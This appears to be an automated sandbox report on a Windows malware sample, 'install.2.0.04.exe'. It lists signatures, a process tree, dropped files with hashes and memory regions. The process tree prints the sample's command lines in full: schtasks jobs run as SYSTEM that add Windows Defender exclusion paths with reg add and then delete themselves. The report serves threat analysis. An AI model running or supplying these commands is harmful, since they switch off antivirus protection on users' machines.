Analysis

  • max time kernel
    150s
  • max time network
    142s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260911-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    24/10/2026, 11:34

General

  • Target
    install.2.0.04.exe
  • Size 30.5MB
  • Sample261024-npd4nstyc1
  • SHA256 dbe58fa26463d5d7a818ae49a1ba96b1298e1ed2edeca65144b539ebdcc2597c
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Windows security bypass 2 TTPs 8 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 2 IoCs
  • Adds Run key to start application 2 TTPs 2 IoCs
  • Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

  • Drops file in System32 directory 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 4 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 8 IoCs
  • Suspicious use of WriteProcessMemory 24 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\install.2.0.04.exe
    "C:\Users\Admin\AppData\Local\Temp\install.2.0.04.exe"
    1⤵
    • Reads the TCP/IP host and domain name from the registry
    • Suspicious behavior: EnumeratesProcesses
    PID:1536
  • C:\Users\Public\Tts2oo\Qkb1IL.exe
    C:\Users\Public\Tts2oo\Qkb1IL.exe
    1⤵
    • Checks computer location settings
    • Executes dropped EXE
    • Loads dropped DLL
    • Adds Run key to start application
    • Drops file in System32 directory
    • Reads the TCP/IP host and domain name from the registry
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:4972
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\Tts2oo\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
      2⤵
      • Indicator Removal: Clear Persistence
      • Suspicious use of WriteProcessMemory
      PID:4720
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\Tts2oo\" /t REG_DWORD /d 0 /f"
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:4636
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Run /TN "Task1"
        3⤵
          PID:4668
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Delete /TN "Task1" /F
          3⤵
            PID:4192
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
          2⤵
          • Indicator Removal: Clear Persistence
          • Suspicious use of WriteProcessMemory
          PID:368
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
            3⤵
            • Scheduled Task/Job: Scheduled Task
            PID:204
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Run /TN "Task1"
            3⤵
              PID:4436
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Delete /TN "Task1" /F
              3⤵
                PID:5104
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
              2⤵
              • Indicator Removal: Clear Persistence
              • Suspicious use of WriteProcessMemory
              PID:1840
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
                3⤵
                • Scheduled Task/Job: Scheduled Task
                PID:2008
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Run /TN "Task1"
                3⤵
                  PID:2504
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Delete /TN "Task1" /F
                  3⤵
                    PID:1956
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                  2⤵
                  • Indicator Removal: Clear Persistence
                  • Suspicious use of WriteProcessMemory
                  PID:1636
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
                    3⤵
                    • Scheduled Task/Job: Scheduled Task
                    PID:3820
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Run /TN "Task1"
                    3⤵
                      PID:4584
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Delete /TN "Task1" /F
                      3⤵
                        PID:396
                    • C:\Windows\System32\cmd.exe
                      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                      2⤵
                      • Indicator Removal: Clear Persistence
                      • Suspicious use of WriteProcessMemory
                      PID:2244
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
                        3⤵
                        • Scheduled Task/Job: Scheduled Task
                        PID:1732
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Run /TN "Task1"
                        3⤵
                          PID:2144
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Delete /TN "Task1" /F
                          3⤵
                            PID:3036
                      • C:\Windows\system32\cmd.exe
                        cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\Tts2oo" /t REG_DWORD /d 0 /f
                        1⤵
                        • Executes a command shell one-liner
                        • Suspicious use of WriteProcessMemory
                        PID:1388
                        • C:\Windows\system32\reg.exe
                          reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\Tts2oo" /t REG_DWORD /d 0 /f
                          2⤵
                          • Windows security bypass
                          PID:1912
                      • C:\Users\Public\Tts2oo\Qkb1IL.exe
                        "C:\Users\Public\Tts2oo\Qkb1IL.exe"
                        1⤵
                        • Executes dropped EXE
                        • Loads dropped DLL
                        • Adds Run key to start application
                        • Drops file in System32 directory
                        PID:1540
                      • C:\Windows\system32\cmd.exe
                        cmd.exe
                        1⤵
                          PID:2392
                        • C:\Windows\system32\cmd.exe
                          cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:4708
                          • C:\Windows\system32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:1660
                        • C:\Windows\system32\cmd.exe
                          cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:5060
                          • C:\Windows\system32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:4692
                        • C:\Windows\system32\cmd.exe
                          cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:1608
                          • C:\Windows\system32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:436

                        Network

                              MITRE ATT&CK Enterprise v16

                              Replay Monitor

                              Loading Replay Monitor...

                              Downloads

                              0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

                              • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
                              • Size 1KB
                              • SHA256 7738054fc915d59309e06c7b83f042860aa38485957c231b6650a9153df3d8af
                              • MD5 SHA1 SHA512 TLSH

                              B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

                              • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
                              • Size 1KB
                              • SHA256 a63b47dec175a827b588c54002ff7740cdaa5b114c5d8b82dfcd01d1af92074a
                              • MD5 SHA1 SHA512 TLSH

                              0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

                              • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
                              • Size 512B
                              • SHA256 b5d25371ac33d20022c8164f0f9b12ccc40225c879c44c87117c1b8b04ec6c66
                              • MD5 SHA1 SHA512 TLSH

                              B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

                              • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
                              • Size 506B
                              • SHA256 43ef60b95a94531c997ca2318825f4bda4ce789e75bfa041e49261d2a30caf20
                              • MD5 SHA1 SHA512 TLSH

                              Qkb1IL.exe

                              • Path C:\Users\Public\Tts2oo\Qkb1IL.exe
                              • Size 135KB
                              • SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              UxEnhance64.dll

                              • Path C:\Users\Public\Tts2oo\UxEnhance64.dll
                              • Size 3.1MB
                              • SHA256 540a84606aa05be2282ca1e39d9669f06f7314bf2c639189c4a931b9b200d30e
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              adoresd.dat

                              • Path C:\Users\Public\Tts2oo\adoresd.dat
                              • Size 4.8MB
                              • SHA256 5bf30e00545ba265000f671df20265987c86476605d34b55cbb82ec195bc0ca7
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              msadox.tb

                              • Path C:\Users\Public\Tts2oo\msadox.tb
                              • Size 8KB
                              • SHA256 0fcaf56a72eabe968ee9601bfb14348a6915ef070095da776b136b6cf61c0a73
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              SiPolicy.p7b

                              • Path C:\Windows\System32\CodeIntegrity\SiPolicy.p7b
                              • Size 24KB
                              • SHA256 b3f17065ed63b17ffef175f2979907d8eef69a76ba4cbd1d9785035a0b1f0a10
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              memory/1536-525-0x00007FF8D0120000-0x00007FF8D0130000-memory.dmp

                              memory/1536-524-0x00000000004F0000-0x00000000004FE000-memory.dmp

                              memory/1536-504-0x00007FF8D0120000-0x00007FF8D0130000-memory.dmp

                              memory/1536-0-0x00000000004F0000-0x00000000004FE000-memory.dmp

                              memory/1536-2-0x0000000000500000-0x000000000050C000-memory.dmp

                              memory/1536-1-0x00000000004F0000-0x00000000004FE000-memory.dmp

                              memory/1540-611-0x000001BD99980000-0x000001BD99A0A000-memory.dmp

                              memory/1540-592-0x000001BD9A3D0000-0x000001BD9ACA7000-memory.dmp

                              memory/1540-612-0x000001BD99980000-0x000001BD99A0A000-memory.dmp

                              memory/1540-619-0x000001BD9A3D0000-0x000001BD9ACA7000-memory.dmp

                              memory/1540-599-0x000001BD9A3D0000-0x000001BD9ACA7000-memory.dmp

                              memory/1540-594-0x000001BD9A3D0000-0x000001BD9ACA7000-memory.dmp

                              memory/1540-593-0x000001BD9A3D0000-0x000001BD9ACA7000-memory.dmp

                              memory/1540-617-0x000001BD9A3D0000-0x000001BD9ACA7000-memory.dmp

                              memory/1540-591-0x000001BD9A3D0000-0x000001BD9ACA7000-memory.dmp

                              memory/1540-586-0x00007FF8DB720000-0x00007FF8DB722000-memory.dmp

                              memory/1540-587-0x000001BD9A3D0000-0x000001BD9ACA7000-memory.dmp

                              memory/1540-585-0x000001BD9A3D0000-0x000001BD9ACA7000-memory.dmp

                              memory/1540-581-0x00007FF8BD2A0000-0x00007FF8BD7BE000-memory.dmp

                              memory/1540-610-0x000001BD99980000-0x000001BD99A0A000-memory.dmp

                              memory/1540-609-0x000001BD99980000-0x000001BD99A0A000-memory.dmp

                              memory/1540-606-0x000001BD9A3D0000-0x000001BD9ACA7000-memory.dmp

                              memory/4972-536-0x000002969BC70000-0x000002969C547000-memory.dmp

                              memory/4972-555-0x000002969BC70000-0x000002969C547000-memory.dmp

                              memory/4972-557-0x000002969C610000-0x000002969C65E000-memory.dmp

                              memory/4972-558-0x000002969CAB0000-0x000002969CB3A000-memory.dmp

                              memory/4972-559-0x000002969CAB0000-0x000002969CB3A000-memory.dmp

                              memory/4972-566-0x000002969BC70000-0x000002969C547000-memory.dmp

                              memory/4972-563-0x000002969BC70000-0x000002969C547000-memory.dmp

                              memory/4972-560-0x000002969CAB0000-0x000002969CB3A000-memory.dmp

                              memory/4972-561-0x000002969CAB0000-0x000002969CB3A000-memory.dmp

                              memory/4972-596-0x000002969BC70000-0x000002969C547000-memory.dmp

                              memory/4972-550-0x000002969BC70000-0x000002969C547000-memory.dmp

                              memory/4972-543-0x000002969BC70000-0x000002969C547000-memory.dmp

                              memory/4972-539-0x000002969BC70000-0x000002969C547000-memory.dmp

                              memory/4972-545-0x000002969BC70000-0x000002969C547000-memory.dmp

                              memory/4972-546-0x000002969BC70000-0x000002969C547000-memory.dmp

                              memory/4972-544-0x000002969BC70000-0x000002969C547000-memory.dmp

                              memory/4972-538-0x00007FF8DB720000-0x00007FF8DB722000-memory.dmp

                              memory/4972-531-0x00007FF8BD2A0000-0x00007FF8BD7BE000-memory.dmp

                              memory/4972-530-0x00007FF8DB710000-0x00007FF8DB712000-memory.dmp